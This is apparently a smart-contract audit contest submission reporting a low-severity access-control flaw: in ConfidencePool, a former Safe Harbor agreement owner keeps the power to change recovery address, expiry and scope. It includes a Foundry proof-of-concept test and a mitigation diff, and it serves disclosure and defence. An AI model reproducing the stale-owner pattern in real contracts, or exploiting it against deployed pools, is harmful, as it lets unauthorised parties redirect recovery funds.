FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: medium

Former agreement owner retains pool configuration authority after agreement ownership changes

Author Revealed upon completion

Root + Impact

Description

  • Confidence pools are created by the live Safe Harbor agreement owner, and users can reasonably expect agreement-derived pool configuration authority to follow the current agreement owner.

  • createPool() checks IAgreement(agreement).owner() only during creation, then initialize() snapshots that caller as the pool's independent owner. Later setExpiry(), setRecoveryAddress(), and setPoolScope() use only the pool-local onlyOwner check, so the former agreement owner can keep configuring the pool after the underlying agreement owner changes.

function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
...
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
// @> Live agreement ownership is checked only once, at pool creation.
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
...
IConfidencePool(pool)
.initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
// @> The creation-time agreement owner is passed into the clone as a fixed pool owner.
msg.sender,
accounts
);
}
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
...
agreement = agreement_;
...
// @> Pool ownership is decoupled from future IAgreement(agreement).owner() changes.
_transferOwnership(owner_);
}
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
...
}
function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
...
}
function setPoolScope(address[] calldata accounts) external onlyOwner {
_observePoolState();
if (scopeLocked) revert ScopePostLockImmutable();
// @> These setters never re-read the current Safe Harbor agreement owner.
_replaceScope(accounts);
}

Risk

Likelihood:

  • The condition occurs when a Safe Harbor agreement owner creates a pool and later transfers agreement ownership without also completing a separate pool ownership transfer.

  • The affected setters all share the pool-local onlyOwner authorization path, while upstream agreement ownership uses a mutable Ownable2Step flow.

Impact:

  • The former agreement owner can continue changing recoveryAddress, can move expiry before the first stake, and can replace pool scope before scope lock.

  • The current agreement owner is rejected by the pool unless pool ownership is transferred separately, creating stale configuration authority over visible sponsor-trust settings.

Proof of Concept

Clone and pin the audited repository:

git clone https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools.git
cd 2026-07-bc-confidence-pools
git checkout 58e8ba4ce3f3277866e4926f3140e597f9554a1e
git submodule update --init --recursive

Save the following file as test/poc/StaleAgreementOwnerPoC.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {Ownable, Ownable2Step} from "@openzeppelin/contracts/access/Ownable2Step.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract Ownable2StepAgreementForStaleOwnerPoC is Ownable2Step {
mapping(address account => bool inScope) internal _inScope;
constructor(address owner_) Ownable(owner_) {}
function setContractInScope(address account, bool inScope) external {
_inScope[account] = inScope;
}
function isContractInScope(address account) external view returns (bool) {
return _inScope[account];
}
}
contract StaleAgreementOwnerPoC is Test {
uint256 internal constant ONE = 1e18;
address internal constant INITIAL_ACCOUNT = address(0xC0FFEE);
address internal constant REPLACEMENT_ACCOUNT = address(0xBEEF);
MockERC20 internal token;
MockSafeHarborRegistry internal registry;
MockAttackRegistry internal attackRegistry;
Ownable2StepAgreementForStaleOwnerPoC internal agreement;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
address internal originalAgreementOwner = makeAddr("originalAgreementOwner");
address internal newAgreementOwner = makeAddr("newAgreementOwner");
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal staleRecovery = makeAddr("staleRecovery");
function setUp() public {
token = new MockERC20();
registry = new MockSafeHarborRegistry();
attackRegistry = new MockAttackRegistry();
agreement = new Ownable2StepAgreementForStaleOwnerPoC(originalAgreementOwner);
agreement.setContractInScope(INITIAL_ACCOUNT, true);
agreement.setContractInScope(REPLACEMENT_ACCOUNT, true);
registry.setAttackRegistry(address(attackRegistry));
registry.setAgreementValid(address(agreement), true);
ConfidencePoolFactory impl = new ConfidencePoolFactory();
ConfidencePool poolImplementation = new ConfidencePool();
ERC1967Proxy proxy = new ERC1967Proxy(
address(impl),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(registry), address(poolImplementation), moderator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
vm.prank(originalAgreementOwner);
address created = factory.createPool(
address(agreement), address(token), block.timestamp + 31 days, ONE, recovery, _single(INITIAL_ACCOUNT)
);
pool = ConfidencePool(created);
vm.prank(originalAgreementOwner);
agreement.transferOwnership(newAgreementOwner);
vm.prank(newAgreementOwner);
agreement.acceptOwnership();
}
function testFormerAgreementOwnerKeepsPoolConfigurationAuthorityAfterAgreementTransfer() external {
assertEq(agreement.owner(), newAgreementOwner, "test precondition: agreement owner changed");
assertEq(pool.owner(), originalAgreementOwner, "pool owner remains creation-time agreement owner");
uint256 newExpiry = block.timestamp + 45 days;
vm.startPrank(originalAgreementOwner);
pool.setExpiry(newExpiry);
pool.setRecoveryAddress(staleRecovery);
pool.setPoolScope(_single(REPLACEMENT_ACCOUNT));
vm.stopPrank();
assertEq(pool.expiry(), newExpiry, "former agreement owner changed expiry");
assertEq(pool.recoveryAddress(), staleRecovery, "former agreement owner changed recovery address");
assertFalse(pool.isAccountInScope(INITIAL_ACCOUNT), "old scope was replaced");
assertTrue(pool.isAccountInScope(REPLACEMENT_ACCOUNT), "former agreement owner changed scope");
}
function testCurrentAgreementOwnerCannotConfigurePoolUnlessPoolOwnershipIsTransferred() external {
assertEq(agreement.owner(), newAgreementOwner, "test precondition: agreement owner changed");
assertEq(pool.owner(), originalAgreementOwner, "test precondition: pool owner is stale");
vm.startPrank(newAgreementOwner);
vm.expectRevert(abi.encodeWithSelector(Ownable.OwnableUnauthorizedAccount.selector, newAgreementOwner));
pool.setExpiry(block.timestamp + 45 days);
vm.expectRevert(abi.encodeWithSelector(Ownable.OwnableUnauthorizedAccount.selector, newAgreementOwner));
pool.setRecoveryAddress(staleRecovery);
vm.expectRevert(abi.encodeWithSelector(Ownable.OwnableUnauthorizedAccount.selector, newAgreementOwner));
pool.setPoolScope(_single(REPLACEMENT_ACCOUNT));
vm.stopPrank();
}
function _single(address account) internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = account;
}
}

Run:

forge test --match-path test/poc/StaleAgreementOwnerPoC.t.sol -vvv

Expected output summary:

Ran 2 tests for test/poc/StaleAgreementOwnerPoC.t.sol
[PASS] testCurrentAgreementOwnerCannotConfigurePoolUnlessPoolOwnershipIsTransferred()
[PASS] testFormerAgreementOwnerKeepsPoolConfigurationAuthorityAfterAgreementTransfer()
2 tests passed, 0 failed, 0 skipped

Recommended Mitigation

+ modifier onlyCurrentAgreementOwner() {
+ if (IAgreement(agreement).owner() != msg.sender) revert OwnableUnauthorizedAccount(msg.sender);
+ _;
+ }
+
- function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
+ function setRecoveryAddress(address newRecoveryAddress) external onlyCurrentAgreementOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
...
}
- function setExpiry(uint256 newExpiry) external onlyOwner {
+ function setExpiry(uint256 newExpiry) external onlyCurrentAgreementOwner {
if (expiryLocked) revert ExpiryLocked();
...
}
- function setPoolScope(address[] calldata accounts) external onlyOwner {
+ function setPoolScope(address[] calldata accounts) external onlyCurrentAgreementOwner {
_observePoolState();
if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!